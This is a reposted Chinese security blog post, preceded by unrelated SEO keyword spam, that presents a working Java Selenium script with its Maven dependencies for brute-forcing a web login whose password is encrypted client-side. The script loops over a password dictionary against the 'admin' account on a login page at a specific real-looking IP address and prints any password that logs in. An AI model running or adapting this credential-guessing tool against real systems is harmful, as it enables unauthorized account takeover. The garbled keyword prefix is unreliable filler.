可以免费秒玩游戏的网站,中国能源建设集团有限公司子公司,WordPress软件连接不了网站,旅游信息网站建设论文经常碰到网站#xff0c;账号密码通过js加密后进行提交。通过burp拦截抓到的账号密码是加密后的#xff0c;所以无法通过burp instruder进行破解。只能模拟浏览器填写表单并点击登录按钮进行破解。于是想到了自动化web测试工具selenium#xff0c;代码如下#xff0c;测试效…经常碰到网站账号密码通过js加密后进行提交。通过burp拦截抓到的账号密码是加密后的所以无法通过burp instruder进行破解。只能模拟浏览器填写表单并点击登录按钮进行破解。于是想到了自动化web测试工具selenium代码如下测试效果还不错。 package com.example.tests; import java.util.regex.Pattern;import java.io.BufferedReader;import java.io.File;import java.io.FileInputStream;import java.io.FileReader;import java.util.concurrent.TimeUnit;import org.junit.*;import static org.junit.Assert.*;import static org.hamcrest.CoreMatchers.*;import org.openqa.selenium.*;import org.openqa.selenium.firefox.FirefoxDriver;import org.openqa.selenium.support.ui.Select; public class GS { private WebDriver driver; private String baseUrl; private boolean acceptNextAlert true; private StringBuffer verificationErrors new StringBuffer(); Before public void setUp() throws Exception { driver new FirefoxDriver(); baseUrl http://223.116.34.113:81/; driver.manage().timeouts().implicitlyWait(30, TimeUnit.SECONDS); } Test public void testGS() throws Exception { File file new File(C:\\Users\\root\\Desktop\\xxx\\password.txt); //加载密码字典 FileReader fr new FileReader(file); SuppressWarnings(resource) BufferedReader br new BufferedReader(fr); SuppressWarnings(unused) String str ; while ((str br.readLine()) ! null) { //循环读取字典里的每一行String url baseUrl /web/login.aspx? str; // 后边加上str是为了每次强制刷新url加不加看具体情况 driver.get(url); driver.findElement(By.id(txt_UserID)).clear(); //清空用户名输入框 driver.findElement(By.id(txt_UserID)).sendKeys(admin); //设置用户名driver.findElement(By.id(txt_Password)).clear(); //清空密码输入框 driver.findElement(By.id(txt_Password)).sendKeys(str); //设置密码 driver.findElement(By.xpath(//a/span)).click(); //模拟点击登录按钮 Thread.sleep(1000); //等待一秒是否等待看具体情况。 String cururl driver.getCurrentUrl(); // 获取当前urlif (!cururl.equals(url #)) { //如果登录成功会跳转则url会发生变化 System.out.println(str); //输入可以登录成功的密码 }} } After public void tearDown() throws Exception { driver.quit(); String verificationErrorString verificationErrors.toString(); if (!.equals(verificationErrorString)) { fail(verificationErrorString); } } private boolean isElementPresent(By by) { try { driver.findElement(by); return true; } catch (NoSuchElementException e) { return false; } } private boolean isAlertPresent() { try { driver.switchTo().alert(); return true; } catch (NoAlertPresentException e) { return false; } } private String closeAlertAndGetItsText() { try { Alert alert driver.switchTo().alert(); String alertText alert.getText(); if (acceptNextAlert) { alert.accept(); } else { alert.dismiss(); } return alertText; } finally { acceptNextAlert true; } }} 以上代码依赖如下mavenpom.xml project xmlnshttp://maven.apache.org/POM/4.0.0 xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd modelVersion4.0.0/modelVersion groupIdF/groupId artifactIdF/artifactId version0.0.1-SNAPSHOT/version packagingjar/packaging nameF/name urlhttp://maven.apache.org/url properties project.build.sourceEncodingUTF-8/project.build.sourceEncoding /properties dependencies dependency groupIdjunit/groupId artifactIdjunit/artifactId version4.12/version /dependency dependency groupIdorg.seleniumhq.selenium/groupId artifactIdselenium-java/artifactId version2.53.0/version /dependency dependency groupIdorg.seleniumhq.selenium/groupId artifactIdselenium-firefox-driver/artifactId version2.53.0/version /dependency /dependencies/project转载于:https://www.cnblogs.com/SEC-fsq/p/5434796.html